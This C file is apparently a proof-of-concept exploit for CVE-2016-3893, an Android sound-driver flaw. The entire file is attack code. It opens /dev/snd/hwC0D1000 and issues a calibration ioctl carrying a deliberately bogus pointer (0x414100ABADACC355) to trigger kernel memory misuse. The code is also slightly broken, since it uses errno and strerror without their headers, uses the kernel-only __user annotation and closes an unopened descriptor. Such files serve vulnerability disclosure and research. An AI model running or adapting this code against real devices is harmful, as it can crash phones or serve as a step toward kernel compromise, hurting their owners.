CVE-2016-3893.c

/**
 *
 * CVE-2016-3893.c
 * https://code.google.com/p/android/issues/detail?id=213554
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

enum wcd_cal_type {
        WCD9XXX_MIN_CAL,
        WCD9XXX_ANC_CAL = WCD9XXX_MIN_CAL,
        WCD9XXX_MAD_CAL,
        WCD9XXX_MBHC_CAL,
        WCD9XXX_MAX_CAL,
};


struct wcdcal_ioctl_buffer {
        __u32 size;
        __u8 __user *buffer;
        enum wcd_cal_type cal_type;
};

#define SNDRV_CTL_IOCTL_HWDEP_CAL_TYPE \
        _IOW('U', 0x1, struct wcdcal_ioctl_buffer)


int main(void)
{
	int i;
	const  char *dev = "/dev/snd/hwC0D1000";
	int fd;
	struct wcdcal_ioctl_buffer buf = { 0 };
	buf.size = 0xF;
	buf.buffer = 0x414100ABADACC355;
	buf.cal_type = WCD9XXX_MAD_CAL;

	printf("Opening %s\n", dev);
	fd = open(dev, O_WRONLY);
	if (fd > 0) {
		printf("ioctl\n");
		ioctl(fd, SNDRV_CTL_IOCTL_HWDEP_CAL_TYPE, &buf);
		printf("strerror %s\n", strerror(errno));
	}
	else
		printf("Error on %s with %s\n", dev, strerror(errno));

	//sleep(1);
	close(fd);
}